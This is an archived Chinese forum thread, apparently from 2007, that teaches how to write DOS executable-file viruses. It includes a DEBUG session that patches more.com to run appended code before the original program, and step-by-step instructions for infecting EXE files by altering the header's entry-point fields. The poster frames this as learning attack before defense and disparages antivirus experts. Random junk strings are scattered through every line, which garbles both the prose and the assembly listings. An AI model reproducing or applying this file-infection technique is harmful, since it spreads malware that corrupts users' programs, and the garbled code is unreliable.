最新IBM水货笔记本价格,详细点击进入

查看完整版本: 怎样编写可执行文件型病毒

小破孩 2007-8-4 16:34

怎样编写可执行文件型病毒

[b]先学功,再学防![/b]
2Up5R7T C2{5er E!Wh K0@;R
可执行文件型病毒是DOS病毒中的大家族,也是病毒编写专家们用以炫耀自己的聪 *{ W A$R,d`"r
明才智的时候。感染处理千奇百怪,传染方案数不胜数,不亚于春秋战国时期的诸子
-Hzi,KL:b 百家争鸣,病毒大概是"病毒安全专家们"编出来的吧。理由有一:安全专家们靠处理病毒为生,有编写的能力;二:安全专家们自己会编写病毒,却极力反对别人学习病毒,免得饭碗被抢,有编写病毒的嫌疑。下面让我们来看看可执行文件病毒的编程方法,其简单程度可以让 用晒 骗的病毒专家们汗颜。我编写的最小的文件型病毒大约只有100多行汇编代码,如果我象某些杀毒专家一样,按照平均30分钟一个病毒,恐怕这几年我要成为最大的杀毒英雄了。可执行文件病毒有广义和狭义之称。广义的可执行文件病毒包括了通常所说的可执行文件病毒,源码病毒,甚至我们入门举的BAT病毒和现在流行的WORD宏病毒,下面我们所述的只包括狭义的可执行文件病毒-----即COM型和EXE型病毒。 in@.kb,w
编写COM型病毒和EXE型病毒非常地简单,我们先来了解COM文件和EXE文件的结构吧。 w6Ri2R.d(X"M6gP
+QeZC{PV
如何修改可执行文件?
E dOZxr COM文件是一种单段执行结构,起源于CPM-86操作系统,其执行文件代码和执行时内存影象完全相同,其始执行偏移地址为100H,对应于文件的偏移0。运行我们的DEBUG程序,我们先来做一个练习。我们拿DOS6.22西文版中的more.com来做实验。
(K~ bn@$F@
S| g&Qp6~s6}#a_s%}(F C:\>debug more.com
T-eo)VL-zz -u
2|K2e&I ORn -u
jc'~)X-T 0CA4:0100 B8371E MOV AX,1E37 ;注意前三个字节的内容
;a"t-e A6o 0CA4:0103 BA3008 MOV DX,0830 !K6URf,l-ny'N,rR
0CA4:0106 3BC4 CMP AX,SP m [,k7R1P%zv;y
0CA4:0108 7369 JNB 0173 \'UXOL p.sQ(]!b
0CA4:010A 8BC4 MOV AX,SP
Z#KBM h.t5y3{I 0CA4:010C 2D4403 SUB AX,0344
~D9SS/Ep 0CA4:010F 90 NOP 1pUI y4mL XY6P
0CA4:0110 25F0FF AND AX,FFF0
K*nq ^f 0CA4:0113 8BF8 MOV DI,AX f7nubw6FE
0CA4:0115 B9A200 MOV CX,00A2 _q He vzLC q
0CA4:0118 90 NOP
.Aao tX;[5T5Aj 0CA4:0119 BE7E01 MOV SI,017E
q2v_h4L,K/Z4BF 0CA4:011C FC CLD ;Rc"Nm] w"V9u_?
0CA4:011D F3 REPZ V/|c(l l-s4p
0CA4:011E A5 MOVSW
5p;d.W z/`GS:f 0CA4:011F 8BD8 MOV BX,AX #o@#oVn;Y+qr
-r
CNk|q AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
G7r,sc]+r7Vb8m]"m DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100 NV UP EI PL NZ NA PO NC 7b.y4WL#c{l#z
0CA4:0100 B8371E MOV AX,1E37
RXeKhuC(Q -a af1
"^tBZ;c^ 0CA4:0AF1 mov ah,0 p)h#Tt6@I/K
0CA4:0AF3 int 16 ;等待按键
oV T&d_~9a 0CA4:0AF5 cmp al,1b ;等待ESC键 7NxJ+r^\Hc6D*io
0CA4:0AF7 jnz af1 W*g1u7r`!f!O
0CA4:0AF9 mov word ptr [100],37b8 ;恢复程序开始的三个字节
Y q3cReQD 0CA4:0AFF mov byte ptr [102],1e *X B%x&Y2on%?%}5H
0CA4:0B04 push cs ;进栈CS:100 Ey#~'zkDe$s nc*~
0CA4:0B05 mov si,100
M3H$K'__)[9l!~q 0CA4:0B08 push si
hv*L!h$_4^1t 0CA4:0B09 retf ;RetF回到CS:100,程序开始处
\V,kUDhZG&P)I 0CA4:0B0A
,[+\!lC"Dv5h1~)u -a 100 2jT5n1a4M$bikN"l
0CA4:0100 jmp af1 ;将程序开头改成跳转到修改的模块
YQ1R [/De 0CA4:0103 9F4Z NMNr
-rcx
v3]!u9t"W9g8~5Fm CX 09F1 G~ T/b,TU n
:a0a
l*Jqx|k[z -w 1D1wU C3mM
Writing 00A0A bytes
G mpznJ|i -q z pss9?nK
修改完了,我们来执行一下more,发现什么没有?哈哈,如果不按ESC键程序无法执行,流程很简单:
,X9Nte,|\B^)g 1、把程序开始处的指令修改成了跳转到最后的添加的程序位置。
(P]+N@Uh8Y6T7[ 2、最先执行添加的程序(相当于病毒模块),等待ESC键 )u:~3_)S[
3、按下ESC键后修改回程序开始的指令,跳转回最开始。(执行原始程序) -q U*ly N;}Kw
好了,大家如果能看懂上面这段话,那你离编写自己的COM病毒将不会很远了。
{T+hPT&I"g
.x'g2Ep9X EXE文件是一种多段的结构,属于DOS最成功和复杂的设计之一。
%WTHHa`? x"ff 要了解EXE文件,首先需要了EXE的文件头结构。 -m9dW H [0b,E
(大家先去wenyue.yeah.net下载一份HELPSTAR吧。上面有许多有关的东西。) uTf9mR$\I'hv;zh
Exe file header format
k0Gm$T-b4T Offset size Description
a!q%[*w {0G6`V 00 2 bytes .EXE Type Flag,4d5ah ~ z2aVM5n$f3D%f
02 2 bytes Bytes in the last page(512 bytes/page)
"Ljra/` 04 2 bytes pages of the .EXE file(Include exeheader)
,MeheEF 06 2 bytes ReAllocation number
C } Jbi,|'RjP l8W 08 2 bytes Exeheader size(16 bytes*this value)
K9B!u\7C B7{(M4o4c0p(l 0a 2 bytes MinAlloc
${t A7`6bV 0c 2 bytes MaxAlloc iED4lp7C7P
0e 2 bytes The init stack segment jU!\ UNu
10 2 bytes The int stack pointer
W*TQ9wY;w_0m 12 2 bytes Checksum .e/Zt ^W |
14 2 bytes Code pointer
c-{Ok.A 16 2 bytes Code segment 7I Tr Pb%Z+Q
18 2 bytes The offset of reallocation table
3o!F-N)M I;]k/Ey 1a 2 bytes The overlay number make by link
$om u{+{jr 聪明的人应该一眼就能分辨出我们最感兴趣的部分了,偏移14和16,这两个东东简直太重要了。它们表示了程序的执行代码入口地址。 m;_8ab u C x
DOS对EXE采取重定位的方法,重定位在很多DOS高级编程的书上都会提到,假使你还没有了解,我来打个比方:我比小明高5公分。那么小明如果170CM,那么我有175CM,如果小明180CM,我有185CM。Code segment就是这个5公分。DOS下面可以加载很多TSR或者驱动程序,我们无法知道一个程序被加载的开始段值,但是我们却可以知道一个EXE程序的执行入口的开始段值比加载的第一个段值大多少。DOS就是通过这种简单的加减法来对付EXE的多段模式的。现在我们知道了EXE文件的开始执行代码是从加载初始地址+Code segment:Code pointer。
|+GVL B-p\Lau#tv 还有一个我们很感兴趣的东西是偏移为8的Exeheader Size。这对病毒修改EXE文件很有用,可以用来确定EXE文件的代码开始处(代码开始处之前是Exeheader)。
o@+Ml%U2b c,X 那么我们可以这样来修改一个EXE文件:
:}W*y$~,GBR^ 把EXE文件的最后先填满16个字节(为了段对齐),把自己的程序段加到最后,并且保存EXE头中的14h和16h偏移的数值,把EXE头中的14h的数值改成100H,16的值改成(EXEFILESIZE+15) div 16 -ExeheaderSize -16 (-16的原因是100H=16*16)好了,自己做个实验吧,在执行完这段代码的时候记得返回到PSP+OldSeg :OldIP。

j7nv8 2008-7-14 13:14

:) :) :) 飘过~~~

射雕鹰熊 2008-7-14 13:57

大家一起飘:)
页: [1]
查看完整版本: 怎样编写可执行文件型病毒